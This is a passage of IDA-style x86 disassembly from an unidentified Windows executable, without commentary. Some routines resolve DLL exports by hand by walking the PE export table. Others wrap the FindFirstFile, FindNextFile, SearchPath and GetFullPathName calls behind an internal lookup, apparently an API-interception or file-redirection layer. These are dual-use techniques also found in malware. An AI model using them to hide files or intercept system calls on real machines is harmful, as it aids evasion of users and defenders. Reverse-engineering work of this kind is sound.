		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+20h]
		mov	eax, [ebp+var_10]
		mov	eax, [ecx+eax*4]
		add	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_8]
		call	sub_410F10
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41D3EB
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+24h]
		mov	eax, [ebp+var_10]
		mov	ax, [ecx+eax*2]
		mov	[ebp+var_18], ax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+1Ch]
		movzx	eax, [ebp+var_18]
		mov	eax, [ecx+eax*4]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		jmp	short locret_41D408
; ---------------------------------------------------------------------------


loc_41D3EB:				; CODE XREF: sub_41D36C+4Ej
		cmp	[ebp+var_C], 0
		jle	short loc_41D3FA
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_41D401
; ---------------------------------------------------------------------------


loc_41D3FA:				; CODE XREF: sub_41D36C+83j
		mov	eax, [ebp+var_10]
		dec	eax
		mov	[ebp+var_4], eax


loc_41D401:				; CODE XREF: sub_41D36C+8Cj
		jmp	loc_41D380
; ---------------------------------------------------------------------------


loc_41D406:				; CODE XREF: sub_41D36C+1Aj
		xor	eax, eax

locret_41D408:				; CODE XREF: sub_41D36C+7Dj
		leave
		retn
sub_41D36C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D40A	proc near		; CODE XREF: sub_418780+12p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	offset dword_429018
		call	ds:dword_4246CC	; InitializeCriticalSection
		push	offset dword_428FF8
		call	ds:dword_4246CC	; InitializeCriticalSection
		push	28h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41D449
		push	83h
		mov	ecx, [ebp+var_8]
		call	sub_41EA57
		mov	[ebp+var_1C], eax
		jmp	short loc_41D44D
; ---------------------------------------------------------------------------


loc_41D449:				; CODE XREF: sub_41D40A+2Bj
		and	[ebp+var_1C], 0


loc_41D44D:				; CODE XREF: sub_41D40A+3Dj
		mov	eax, [ebp+var_1C]
		mov	ds:dword_429034, eax
		push	28h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41D475
		push	9
		mov	ecx, [ebp+var_C]
		call	sub_41EA57
		mov	[ebp+var_20], eax
		jmp	short loc_41D479
; ---------------------------------------------------------------------------


loc_41D475:				; CODE XREF: sub_41D40A+5Aj
		and	[ebp+var_20], 0


loc_41D479:				; CODE XREF: sub_41D40A+69j
		mov	eax, [ebp+var_20]
		mov	ds:dword_429038, eax
		push	28h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_41D4A1
		push	9
		mov	ecx, [ebp+var_10]
		call	sub_41EA57
		mov	[ebp+var_24], eax
		jmp	short loc_41D4A5
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D40A+86j
		and	[ebp+var_24], 0


loc_41D4A5:				; CODE XREF: sub_41D40A+95j
		mov	eax, [ebp+var_24]
		mov	ds:dword_4248AC, eax
		push	28h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41D4CD
		push	9
		mov	ecx, [ebp+var_14]
		call	sub_41EA57
		mov	[ebp+var_28], eax
		jmp	short loc_41D4D1
; ---------------------------------------------------------------------------


loc_41D4CD:				; CODE XREF: sub_41D40A+B2j
		and	[ebp+var_28], 0


loc_41D4D1:				; CODE XREF: sub_41D40A+C1j
		mov	eax, [ebp+var_28]
		mov	ds:dword_4248B4, eax
		push	28h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_41D4F9
		push	9
		mov	ecx, [ebp+var_18]
		call	sub_41EA57
		mov	[ebp+var_2C], eax
		jmp	short loc_41D4FD
; ---------------------------------------------------------------------------


loc_41D4F9:				; CODE XREF: sub_41D40A+DEj
		and	[ebp+var_2C], 0


loc_41D4FD:				; CODE XREF: sub_41D40A+EDj
		mov	eax, [ebp+var_2C]
		mov	ds:dword_4248B0, eax
		push	offset dword_4215AC
		push	2Bh
		push	offset off_424220
		call	sub_41D579
		add	esp, 0Ch
		push	offset dword_4215BC
		push	2
		push	offset off_424378
		call	sub_41D579
		add	esp, 0Ch
		push	offset dword_4215C8
		push	1
		push	offset off_424388
		call	sub_41D579
		add	esp, 0Ch
		push	offset dword_4215D4
		push	3
		push	offset off_424390
		call	sub_41D579
		add	esp, 0Ch
		push	offset dword_4215F0
		push	2
		push	offset off_4243A8
		call	sub_41D579
		add	esp, 0Ch
		push	offset dword_4215AC
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_4], eax
		leave
		retn
sub_41D40A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D579	proc near		; CODE XREF: sub_41D40A+107p
					; sub_41D40A+11Bp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_4], 0
		push	[ebp+arg_8]
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41D5A1
		push	[ebp+arg_8]
		call	ds:dword_4246DC	; LoadLibraryA
		mov	[ebp+var_10], eax


loc_41D5A1:				; CODE XREF: sub_41D579+1Aj
		cmp	[ebp+var_10], 0
		jnz	short loc_41D5BD
		push	ds:off_4214F0
		push	0C9h
		push	ds:off_4214F4
		call	sub_41BB7C


loc_41D5BD:				; CODE XREF: sub_41D579+2Cj
		push	1
		push	[ebp+var_10]
		mov	ecx, ds:dword_429038
		call	sub_41EC69
		mov	eax, [ebp+var_10]
		and	eax, 0FFFh
		test	eax, eax
		jz	short loc_41D5F5
		mov	eax, [ebp+var_10]
		and	ax, 0F000h
		mov	[ebp+var_8], eax
		push	1
		push	[ebp+var_8]
		mov	ecx, ds:dword_429038
		call	sub_41EC69
		jmp	short loc_41D5FB
; ---------------------------------------------------------------------------


loc_41D5F5:				; CODE XREF: sub_41D579+5Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax


loc_41D5FB:				; CODE XREF: sub_41D579+7Aj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 4550h
		jnz	short loc_41D61E
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		add	ecx, [eax+78h]
		mov	[ebp+var_4], ecx


loc_41D61E:				; CODE XREF: sub_41D579+97j
		and	[ebp+var_14], 0
		jmp	short loc_41D62B
; ---------------------------------------------------------------------------


loc_41D624:				; CODE XREF: sub_41D579:loc_41D6B8j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_41D62B:				; CODE XREF: sub_41D579+A9j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+arg_4]
		jnb	loc_41D6BD
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*8+4]
		push	[ebp+var_10]
		call	ds:dword_4246A8	; GetProcAddress
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_41D66B
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*8]
		push	eax
		push	[ebp+var_18]
		mov	ecx, ds:dword_429034
		call	sub_41EC69


loc_41D66B:				; CODE XREF: sub_41D579+D8j
		cmp	[ebp+var_4], 0
		jz	short loc_41D6B8
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*8+4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D36C
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_1C]
		jz	short loc_41D6B8
		cmp	[ebp+var_1C], 0
		jz	short loc_41D6B8
		cmp	[ebp+var_18], 0
		jz	short loc_41D6B8
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*8]
		push	eax
		push	[ebp+var_1C]
		mov	ecx, ds:dword_429034
		call	sub_41EC69


loc_41D6B8:				; CODE XREF: sub_41D579+F6j
					; sub_41D579+119j ...
		jmp	loc_41D624
; ---------------------------------------------------------------------------


loc_41D6BD:				; CODE XREF: sub_41D579+B8j
		cmp	[ebp+arg_8], offset dword_4215AC
		jnz	short locret_41D6F0
		cmp	[ebp+var_4], 0
		jz	short locret_41D6F0
		push	offset aWritefile ; "WriteFile"
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D36C
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short locret_41D6F0
		mov	eax, [ebp+var_20]
		mov	ds:dword_42473C, eax

locret_41D6F0:				; CODE XREF: sub_41D579+14Bj
					; sub_41D579+151j ...
		leave
		retn
sub_41D579	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6F2	proc near		; CODE XREF: _3:00411735p
		push	ebp
		mov	ebp, esp
		push	0
		call	sub_41D6FE
		pop	ebp
		retn
sub_41D6F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6FE	proc near		; CODE XREF: sub_41D6F2+5p
					; DATA XREF: _5:00424268o

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4219A0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset dword_429018
		call	ds:dword_424644	; RtlEnterCriticalSection
		mov	ds:byte_429030,	1
		push	0
		call	sub_41D332
		and	[ebp+var_4], 0
		call	sub_41A8B3
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D76E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 1
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D76A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D76A:				; CODE XREF: sub_41D6FE+5Fj
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D76E:				; CODE XREF: sub_41D6FE+4Bj
		mov	[ebp+var_4], 2
		call	sub_4182B0
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D7A3
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 3
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D79F
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D79F:				; CODE XREF: sub_41D6FE+94j
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D7A3:				; CODE XREF: sub_41D6FE+80j
		mov	[ebp+var_4], 4
		push	[ebp+arg_0]
		call	ds:dword_424648	; ExitProcess
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D7EC
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 5
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D7D8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D7D8:				; CODE XREF: sub_41D6FE+CDj
		push	[ebp+arg_0]
		call	ds:dword_424664	; GetCurrentProcess
		push	eax
		call	ds:dword_424718	; TerminateProcess
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D7EC:				; CODE XREF: sub_41D6FE+B9j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41D6FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7FD	proc near		; DATA XREF: _5:00424330o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	offset dword_4215AC
		push	offset aSearchpatha ; "SearchPathA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D843
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_4]
		call	sub_415867
		test	eax, eax
		jz	short loc_41D843
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	ds:dword_424688	; GetFullPathNameA
		jmp	short locret_41D858
; ---------------------------------------------------------------------------


loc_41D843:				; CODE XREF: sub_41D7FD+20j
					; sub_41D7FD+30j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_4]

locret_41D858:				; CODE XREF: sub_41D7FD+44j
		leave
		retn	18h
sub_41D7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D85C	proc near		; DATA XREF: _5:00424328o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4219E8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D8CC
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	0
		push	0
		call	ds:dword_424738	; WideCharToMultiByte


loc_41D8CC:				; CODE XREF: sub_41D85C+35j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D909
		push	0
		xor	edx, edx
		mov	ecx, [ebp+var_20]
		call	sub_415867
		test	eax, eax
		jz	short loc_41D909
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	ds:dword_42468C	; GetFullPathNameW
		push	0FFFFFFFFh
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_41D959
; ---------------------------------------------------------------------------


loc_41D909:				; CODE XREF: sub_41D85C+74j
					; sub_41D85C+84j
		push	offset dword_4215AC
		push	offset aSearchpathw ; "SearchPathW"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_1C]
		push	0FFFFFFFFh
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_41D959
; ---------------------------------------------------------------------------


loc_41D947:				; DATA XREF: _4:004219F0o
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_41BACD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41D959:				; CODE XREF: sub_41D85C+ABj
					; sub_41D85C+E9j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_41D85C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D96A	proc near		; DATA XREF: _5:004242C0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41365E
		test	eax, eax
		jnz	short loc_41D990
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424650	; FindFirstFileA
		mov	[ebp+var_4], eax


loc_41D990:				; CODE XREF: sub_41D96A+15j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_41D96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D997	proc near		; DATA XREF: _5:004242C8o

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_134		= byte ptr -134h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041DACC SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4219F8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_168]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_424738	; WideCharToMultiByte
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+var_20]
		call	sub_41365E
		test	eax, eax
		jnz	short loc_41DA4C
		and	[ebp+var_164], 0
		push	offset dword_4215AC
		push	offset aFindfirstfilew ; "FindFirstFileW"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_164], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_164]
		mov	[ebp+var_1C], eax
		jmp	short loc_41DAAB
; ---------------------------------------------------------------------------


loc_41DA4C:				; CODE XREF: sub_41D997+84j
		lea	ecx, [ebp+var_134]
		lea	eax, [ebp+var_160]
		sub	ecx, eax
		lea	esi, [ebp+var_160]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_4]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_134]
		push	eax
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_4]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_30]
		push	eax
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar


loc_41DAAB:				; CODE XREF: sub_41D997+B3j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DAB6
		jmp	short loc_41DACC
sub_41D997	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAB6	proc near		; CODE XREF: sub_41D997+118p
					; DATA XREF: _4:00421A00o
		mov	eax, [ebp-20h]
		mov	[ebp-16Ch], eax
		push	dword ptr [ebp-16Ch]
		call	sub_41BACD
		pop	ecx
		retn
sub_41DAB6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D997


loc_41DACC:				; CODE XREF: sub_41D997+11Dj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_41D997

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAE0	proc near		; DATA XREF: _5:004242D0o

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_134		= byte ptr -134h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0041DC21 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A08
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_168]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_424738	; WideCharToMultiByte
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+var_20]
		call	sub_41365E
		test	eax, eax
		jnz	short loc_41DBA1
		and	[ebp+var_164], 0
		push	offset dword_4215AC
		push	offset aFindfirstfilee ; "FindFirstFileExW"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_164], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_164]
		mov	[ebp+var_1C], eax
		jmp	short loc_41DC00
; ---------------------------------------------------------------------------


loc_41DBA1:				; CODE XREF: sub_41DAE0+84j
		lea	ecx, [ebp+var_134]
		lea	eax, [ebp+var_160]
		sub	ecx, eax
		lea	esi, [ebp+var_160]
		mov	edi, [ebp+arg_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_8]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_134]
		push	eax
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_8]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_30]
		push	eax
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar


loc_41DC00:				; CODE XREF: sub_41DAE0+BFj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DC0B
		jmp	short loc_41DC21
sub_41DAE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC0B	proc near		; CODE XREF: sub_41DAE0+124p
					; DATA XREF: _4:00421A10o
		mov	eax, [ebp-20h]
		mov	[ebp-16Ch], eax
		push	dword ptr [ebp-16Ch]
		call	sub_41BACD
		pop	ecx
		retn
sub_41DC0B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DAE0


loc_41DC21:				; CODE XREF: sub_41DAE0+129j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_41DAE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC35	proc near		; DATA XREF: _5:004242D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_413838
		test	eax, eax
		jnz	short loc_41DC55
		push	[ebp+arg_0]
		call	ds:dword_42464C	; FindClose
		mov	[ebp+var_4], eax


loc_41DC55:				; CODE XREF: sub_41DC35+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_41DC35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC5C	proc near		; DATA XREF: _5:004242E0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4136FE
		test	eax, eax
		jnz	short loc_41DC86
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424654	; FindNextFileA
		mov	[ebp+var_4], eax


loc_41DC86:				; CODE XREF: sub_41DC5C+19j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_41DC5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC8D	proc near		; DATA XREF: _5:004242E8o

var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 148h
		push	esi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+arg_0]
		call	sub_4136FE
		test	eax, eax
		jnz	short loc_41DCDE
		and	[ebp+var_148], 0
		push	offset dword_4215AC
		push	offset aFindnextfilew ;	"FindNextFileW"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_148], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_148]
		mov	[ebp+var_4], eax
		jmp	short loc_41DD3D
; ---------------------------------------------------------------------------


loc_41DCDE:				; CODE XREF: sub_41DC8D+20j
		lea	ecx, [ebp+var_118]
		lea	eax, [ebp+var_144]
		sub	ecx, eax
		lea	esi, [ebp+var_144]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_4]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_4]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar


loc_41DD3D:				; CODE XREF: sub_41DC8D+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	8
sub_41DC8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD46	proc near		; DATA XREF: _5:00424358o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
